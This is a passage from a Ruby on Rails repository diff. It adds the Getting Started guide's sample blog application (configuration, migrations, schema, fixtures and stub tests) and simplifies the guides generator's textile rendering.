tag_form.check_box :_destroy %> + </div> + <% end %> +<% end %> diff --git a/railties/guides/code/getting_started/config.ru b/railties/guides/code/getting_started/config.ru new file mode 100644 index 0000000000..ddf869e921 --- /dev/null +++ b/railties/guides/code/getting_started/config.ru @@ -0,0 +1,4 @@ +# This file is used by Rack-based servers to start the application. + +require ::File.expand_path('../config/environment', __FILE__) +run Blog::Application diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb new file mode 100644 index 0000000000..e914b5a80e --- /dev/null +++ b/railties/guides/code/getting_started/config/application.rb @@ -0,0 +1,48 @@ +require File.expand_path('../boot', __FILE__) + +require 'rails/all' + +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end + +module Blog + class Application < Rails::Application + # Settings in config/environments/* take precedence over those specified here. + # Application configuration should go into files in config/initializers + # -- all .rb files in that directory are automatically loaded. + + # Custom directories with classes and modules you want to be autoloadable. + # config.autoload_paths += %W(#{config.root}/extras) + + # Only load the plugins named here, in the order given (default is alphabetical). + # :all can be used as a placeholder for all plugins not explicitly named. + # config.plugins = [ :exception_notification, :ssl_requirement, :all ] + + # Activate observers that should always be running. + # config.active_record.observers = :cacher, :garbage_collector, :forum_observer + + # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. + # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. + # config.time_zone = 'Central Time (US & Canada)' + + # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. + # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] + # config.i18n.default_locale = :de + + # Configure the default encoding used in templates for Ruby 1.9. + config.encoding = "utf-8" + + # Configure sensitive parameters which will be filtered from the log file. + config.filter_parameters += [:password] + + # Enable the asset pipeline + config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' + end +end diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb new file mode 100644 index 0000000000..4489e58688 --- /dev/null +++ b/railties/guides/code/getting_started/config/boot.rb @@ -0,0 +1,6 @@ +require 'rubygems' + +# Set up gems listed in the Gemfile. +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) + +require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) diff --git a/railties/guides/code/getting_started/config/database.yml b/railties/guides/code/getting_started/config/database.yml new file mode 100644 index 0000000000..51a4dd459d --- /dev/null +++ b/railties/guides/code/getting_started/config/database.yml @@ -0,0 +1,25 @@ +# SQLite version 3.x +# gem install sqlite3 +# +# Ensure the SQLite 3 gem is defined in your Gemfile +# gem 'sqlite3' +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 + +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. +test: + adapter: sqlite3 + database: db/test.sqlite3 + pool: 5 + timeout: 5000 + +production: + adapter: sqlite3 + database: db/production.sqlite3 + pool: 5 + timeout: 5000 diff --git a/railties/guides/code/getting_started/config/environment.rb b/railties/guides/code/getting_started/config/environment.rb new file mode 100644 index 0000000000..8f728b7ce7 --- /dev/null +++ b/railties/guides/code/getting_started/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Blog::Application.initialize! diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb new file mode 100644 index 0000000000..89932bf19b --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/development.rb @@ -0,0 +1,30 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # In the development environment your application's code is reloaded on + # every request. This slows down response time but is perfect for development + # since you don't have to restart the web server when you make code changes. + config.cache_classes = false + + # Log error messages when you accidentally call methods on nil. + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Don't care if the mailer can't send + config.action_mailer.raise_delivery_errors = false + + # Print deprecation notices to the Rails logger + config.active_support.deprecation = :log + + # Only use best-standards-support built into browsers + config.action_dispatch.best_standards_support = :builtin + + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true +end diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb new file mode 100644 index 0000000000..6ab63d30a6 --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/production.rb @@ -0,0 +1,60 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # Code is not reloaded between requests + config.cache_classes = true + + # Full error reports are disabled and caching is turned on + config.consider_all_requests_local = false + config.action_controller.perform_caching = true + + # Disable Rails's static asset server (Apache or nginx will already do this) + config.serve_static_assets = false + + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + + # Specifies the header that your server uses for sending files + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx + + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. + # config.force_ssl = true + + # See everything in the log (default is :info) + # config.log_level = :debug + + # Use a different logger for distributed setups + # config.logger = SyslogLogger.new + + # Use a different cache store in production + # config.cache_store = :mem_cache_store + + # Enable serving of images, stylesheets, and JavaScripts from an asset server + # config.action_controller.asset_host = "http://assets.example.com" + + # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) + # config.assets.precompile += %w( search.js ) + + # Disable delivery errors, bad email addresses will be ignored + # config.action_mailer.raise_delivery_errors = false + + # Enable threaded mode + # config.threadsafe! + + # Enable locale fallbacks for I18n (makes lookups for any locale fall back to + # the I18n.default_locale when a translation can not be found) + config.i18n.fallbacks = true + + # Send deprecation notices to registered listeners + config.active_support.deprecation = :notify +end diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb new file mode 100644 index 0000000000..833241ace3 --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/test.rb @@ -0,0 +1,42 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # The test environment is used exclusively to run your application's + # test suite. You never need to work with it otherwise. Remember that + # your test database is "scratch space" for the test suite and is wiped + # and recreated between test runs. Don't rely on the data there! + config.cache_classes = true + + # Configure static asset server for tests with Cache-Control for performance + config.serve_static_assets = true + config.static_cache_control = "public, max-age=3600" + + # Log error messages when you accidentally call methods on nil + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Raise exceptions instead of rendering exception templates + config.action_dispatch.show_exceptions = false + + # Disable request forgery protection in test environment + config.action_controller.allow_forgery_protection = false + + # Tell Action Mailer not to deliver emails to the real world. + # The :test delivery method accumulates sent emails in the + # ActionMailer::Base.deliveries array. + config.action_mailer.delivery_method = :test + + # Use SQL instead of Active Record's schema dumper when creating the test database. + # This is necessary if your schema can't be completely dumped by the schema dumper, + # like if you have constraints or database-specific column types + # config.active_record.schema_format = :sql + + # Print deprecation notices to the stderr + config.active_support.deprecation = :stderr + + # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets + config.assets.allow_debugging = true +end diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb new file mode 100644 index 0000000000..59385cdf37 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. +# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } + +# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. +# Rails.backtrace_cleaner.remove_silencers! diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb new file mode 100644 index 0000000000..9e8b0131f8 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/inflections.rb @@ -0,0 +1,10 @@ +# Be sure to restart your server when you modify this file. + +# Add new inflection rules using the following format +# (all these examples are active by default): +# ActiveSupport::Inflector.inflections do |inflect| +# inflect.plural /^(ox)$/i, '\1en' +# inflect.singular /^(ox)en/i, '\1' +# inflect.irregular 'person', 'people' +# inflect.uncountable %w( fish sheep ) +# end diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/railties/guides/code/getting_started/config/initializers/mime_types.rb new file mode 100644 index 0000000000..72aca7e441 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/mime_types.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. + +# Add new mime types for use in respond_to blocks: +# Mime::Type.register "text/richtext", :rtf +# Mime::Type.register_alias "text/html", :iphone diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb new file mode 100644 index 0000000000..b0c8ee23c1 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/secret_token.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# Your secret key for verifying the integrity of signed cookies. +# If you change this key, all old signed cookies will become invalid! +# Make sure the secret is at least 30 characters and all random, +# no regular words or you'll be exposed to dictionary attacks. +Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459' diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/railties/guides/code/getting_started/config/initializers/session_store.rb new file mode 100644 index 0000000000..1a67af58b5 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/session_store.rb @@ -0,0 +1,8 @@ +# Be sure to restart your server when you modify this file. + +Blog::Application.config.session_store :cookie_store, key: '_blog_session' + +# Use the database for sessions instead of the cookie-based default, +# which shouldn't be used to store highly confidential information +# (create the session table with "rails generate session_migration") +# Blog::Application.config.session_store :active_record_store diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb new file mode 100644 index 0000000000..999df20181 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb @@ -0,0 +1,14 @@ +# Be sure to restart your server when you modify this file. +# +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. + +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. +ActiveSupport.on_load(:action_controller) do + wrap_parameters format: [:json] +end + +# Disable root element in JSON by default. +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false +end diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/railties/guides/code/getting_started/config/locales/en.yml new file mode 100644 index 0000000000..179c14ca52 --- /dev/null +++ b/railties/guides/code/getting_started/config/locales/en.yml @@ -0,0 +1,5 @@ +# Sample localization file for English. Add more files in this directory for other locales. +# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points. + +en: + hello: "Hello world" diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb new file mode 100644 index 0000000000..31f0d210db --- /dev/null +++ b/railties/guides/code/getting_started/config/routes.rb @@ -0,0 +1,64 @@ +Blog::Application.routes.draw do + resources :posts do + resources :comments + end + + get "home/index" + + # The priority is based upon order of creation: + # first created -> highest priority. + + # Sample of regular route: + # match 'products/:id' => 'catalog#view' + # Keep in mind you can assign values other than :controller and :action + + # Sample of named route: + # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase + # This route can be invoked with purchase_url(:id => product.id) + + # Sample resource route (maps HTTP verbs to controller actions automatically): + # resources :products + + # Sample resource route with options: + # resources :products do + # member do + # get 'short' + # post 'toggle' + # end + # + # collection do + # get 'sold' + # end + # end + + # Sample resource route with sub-resources: + # resources :products do + # resources :comments, :sales + # resource :seller + # end + + # Sample resource route with more complex sub-resources + # resources :products do + # resources :comments + # resources :sales do + # get 'recent', :on => :collection + # end + # end + + # Sample resource route within a namespace: + # namespace :admin do + # # Directs /admin/products/* to Admin::ProductsController + # # (app/controllers/admin/products_controller.rb) + # resources :products + # end + + # You can have the root of your site routed with "root" + # just remember to delete public/index.html. + root :to => "home#index" + + # See how all your routes lay out with "rake routes" + + # This is a legacy wild controller route that's not recommended for RESTful applications. + # Note: This route will make all actions in every controller accessible via GET requests. + # match ':controller(/:action(/:id(.:format)))' +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb new file mode 100644 index 0000000000..d45a961523 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb @@ -0,0 +1,11 @@ +class CreatePosts < ActiveRecord::Migration + def change + create_table :posts do |t| + t.string :name + t.string :title + t.text :content + + t.timestamps + end + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb new file mode 100644 index 0000000000..adda8078c1 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb @@ -0,0 +1,12 @@ +class CreateComments < ActiveRecord::Migration + def change + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :post + + t.timestamps + end + add_index :comments, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb new file mode 100644 index 0000000000..cf95b1c3d0 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb @@ -0,0 +1,11 @@ +class CreateTags < ActiveRecord::Migration + def change + create_table :tags do |t| + t.string :name + t.references :post + + t.timestamps + end + add_index :tags, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb new file mode 100644 index 0000000000..9db4fbe4b6 --- /dev/null +++ b/railties/guides/code/getting_started/db/schema.rb @@ -0,0 +1,43 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20110901013701) do + + create_table "comments", :force => true do |t| + t.string "commenter" + t.text "body" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "comments", ["post_id"], :name => "index_comments_on_post_id" + + create_table "posts", :force => true do |t| + t.string "name" + t.string "title" + t.text "content" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "tags", :force => true do |t| + t.string "name" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "tags", ["post_id"], :name => "index_tags_on_post_id" + +end diff --git a/railties/guides/code/getting_started/db/seeds.rb b/railties/guides/code/getting_started/db/seeds.rb new file mode 100644 index 0000000000..4edb1e857e --- /dev/null +++ b/railties/guides/code/getting_started/db/seeds.rb @@ -0,0 +1,7 @@ +# This file should contain all the record creation needed to seed the database with its default values. +# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). +# +# Examples: +# +# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) +# Mayor.create(name: 'Emanuel', city: cities.first) diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/railties/guides/code/getting_started/doc/README_FOR_APP new file mode 100644 index 0000000000..fe41f5cc24 --- /dev/null +++ b/railties/guides/code/getting_started/doc/README_FOR_APP @@ -0,0 +1,2 @@ +Use this README file to introduce your application and point to useful places in the API for learning more. +Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries. diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/railties/guides/code/getting_started/lib/assets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/assets/.gitkeep diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/railties/guides/code/getting_started/lib/tasks/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/tasks/.gitkeep diff --git a/railties/guides/code/getting_started/public/404.html b/railties/guides/code/getting_started/public/404.html new file mode 100644 index 0000000000..9a48320a5f --- /dev/null +++ b/railties/guides/code/getting_started/public/404.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The page you were looking for doesn't exist (404)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/404.html --> + <div class="dialog"> + <h1>The page you were looking for doesn't exist.</h1> + <p>You may have mistyped the address or the page may have moved.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/422.html b/railties/guides/code/getting_started/public/422.html new file mode 100644 index 0000000000..83660ab187 --- /dev/null +++ b/railties/guides/code/getting_started/public/422.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The change you wanted was rejected (422)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/422.html --> + <div class="dialog"> + <h1>The change you wanted was rejected.</h1> + <p>Maybe you tried to change something you didn't have access to.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html new file mode 100644 index 0000000000..b80307fc16 --- /dev/null +++ b/railties/guides/code/getting_started/public/500.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>We're sorry, but something went wrong (500)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/500.html --> + <div class="dialog"> + <h1>We're sorry, but something went wrong.</h1> + <p>We've been notified about this issue and we'll take a look at it shortly.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/favicon.ico b/railties/guides/code/getting_started/public/favicon.ico new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/public/favicon.ico diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt new file mode 100644 index 0000000000..085187fa58 --- /dev/null +++ b/railties/guides/code/getting_started/public/robots.txt @@ -0,0 +1,5 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file +# +# To ban all spiders from the entire site uncomment the next two lines: +# User-Agent: * +# Disallow: / diff --git a/railties/guides/code/getting_started/script/rails b/railties/guides/code/getting_started/script/rails new file mode 100755 index 0000000000..f8da2cffd4 --- /dev/null +++ b/railties/guides/code/getting_started/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/railties/guides/code/getting_started/test/fixtures/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/.gitkeep diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/railties/guides/code/getting_started/test/fixtures/comments.yml new file mode 100644 index 0000000000..d33da386bf --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/comments.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + commenter: MyString + body: MyText + post: + +two: + commenter: MyString + body: MyText + post: diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml new file mode 100644 index 0000000000..8b0f75a33d --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/posts.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + title: MyString + content: MyText + +two: + name: MyString + title: MyString + content: MyText diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml new file mode 100644 index 0000000000..8485668908 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/tags.yml @@ -0,0 +1,9 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + post: + +two: + name: MyString + post: diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/railties/guides/code/getting_started/test/functional/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/.gitkeep diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb new file mode 100644 index 0000000000..2ec71b4ec5 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentsControllerTest < ActionController::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb new file mode 100644 index 0000000000..0d9bb47c3e --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/home_controller_test.rb @@ -0,0 +1,9 @@ +require 'test_helper' + +class HomeControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + end + +end diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb new file mode 100644 index 0000000000..b8f7b07820 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb @@ -0,0 +1,49 @@ +require 'test_helper' + +class PostsControllerTest < ActionController::TestCase + setup do + @post = posts(:one) + end + + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:posts) + end + + test "should get new" do + get :new + assert_response :success + end + + test "should create post" do + assert_difference('Post.count') do + post :create, post: @post.attributes + end + + assert_redirected_to post_path(assigns(:post)) + end + + test "should show post" do + get :show, id: @post.to_param + assert_response :success + end + + test "should get edit" do + get :edit, id: @post.to_param + assert_response :success + end + + test "should update post" do + put :update, id: @post.to_param, post: @post.attributes + assert_redirected_to post_path(assigns(:post)) + end + + test "should destroy post" do + assert_difference('Post.count', -1) do + delete :destroy, id: @post.to_param + end + + assert_redirected_to posts_path + end +end diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/railties/guides/code/getting_started/test/integration/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/integration/.gitkeep diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb new file mode 100644 index 0000000000..3fea27b916 --- /dev/null +++ b/railties/guides/code/getting_started/test/performance/browsing_test.rb @@ -0,0 +1,12 @@ +require 'test_helper' +require 'rails/performance_test_help' + +class BrowsingTest < ActionDispatch::PerformanceTest + # Refer to the documentation for all available options + # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] + # :output => 'tmp/performance', :formats => [:flat] } + + def test_homepage + get '/' + end +end diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb new file mode 100644 index 0000000000..8bf1192ffe --- /dev/null +++ b/railties/guides/code/getting_started/test/test_helper.rb @@ -0,0 +1,13 @@ +ENV["RAILS_ENV"] = "test" +require File.expand_path('../../config/environment', __FILE__) +require 'rails/test_help' + +class ActiveSupport::TestCase + # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. + # + # Note: You'll currently still have to declare fixtures explicitly in integration tests + # -- they do not yet inherit this setting + fixtures :all + + # Add more helper methods to be used by all tests here... +end diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/railties/guides/code/getting_started/test/unit/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/.gitkeep diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/railties/guides/code/getting_started/test/unit/comment_test.rb new file mode 100644 index 0000000000..b6d6131a96 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/comment_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb new file mode 100644 index 0000000000..2518c16bd5 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class CommentsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb new file mode 100644 index 0000000000..4740a18dac --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class HomeHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb new file mode 100644 index 0000000000..48549c2ea1 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class PostsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/railties/guides/code/getting_started/test/unit/post_test.rb new file mode 100644 index 0000000000..6d9d463a71 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/post_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class PostTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/railties/guides/code/getting_started/test/unit/tag_test.rb new file mode 100644 index 0000000000..b8498a117c --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/tag_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class TagTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/railties/guides/code/getting_started/vendor/plugins/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/plugins/.gitkeep diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb index 14d671c8f3..4682ead66e 100644 --- a/railties/guides/rails_guides/generator.rb +++ b/railties/guides/rails_guides/generator.rb @@ -199,50 +199,10 @@ module RailsGuides end def textile(body, lite_mode=false) - # If the issue with notextile is fixed just remove the wrapper. - with_workaround_for_notextile(body) do |body| - t = RedCloth.new(body) - t.hard_breaks = false - t.lite_mode = lite_mode - t.to_html(:notestuff, :plusplus, :code, :tip) - end - end - - # For some reason the notextile tag does not always turn off textile. See - # LH ticket of the security guide (#7). As a temporary workaround we deal - # with code blocks by hand. - def with_workaround_for_notextile(body) - code_blocks = [] - - body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - brush = case $1 - when 'ruby', 'sql', 'plain' - $1 - when 'erb' - 'ruby; html-script: true' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' - end - - code_blocks.push(<<HTML) -<notextile> -<div class="code_container"> -<pre class="brush: #{brush}; gutter: false; toolbar: false"> -#{ERB::Util.h($2).strip} -</pre> -</div> -</notextile> -HTML - "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n" - end - - body = yield body - - body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_| - code_blocks[$1.to_i] - end + t = RedCloth.new(body) + t.hard_breaks = false + t.lite_mode = lite_mode + t.to_html(:notestuff, :plusplus, :code) end def warn_about_broken_links(html) diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb index 352c5e91dd..4677fae504 100644 --- a/railties/guides/rails_guides/textile_extensions.rb +++ b/railties/guides/rails_guides/textile_extensions.rb @@ -3,23 +3,24 @@ require 'active_support/core_ext/object/inclusion' module RailsGuides module TextileExtensions def notestuff(body) - 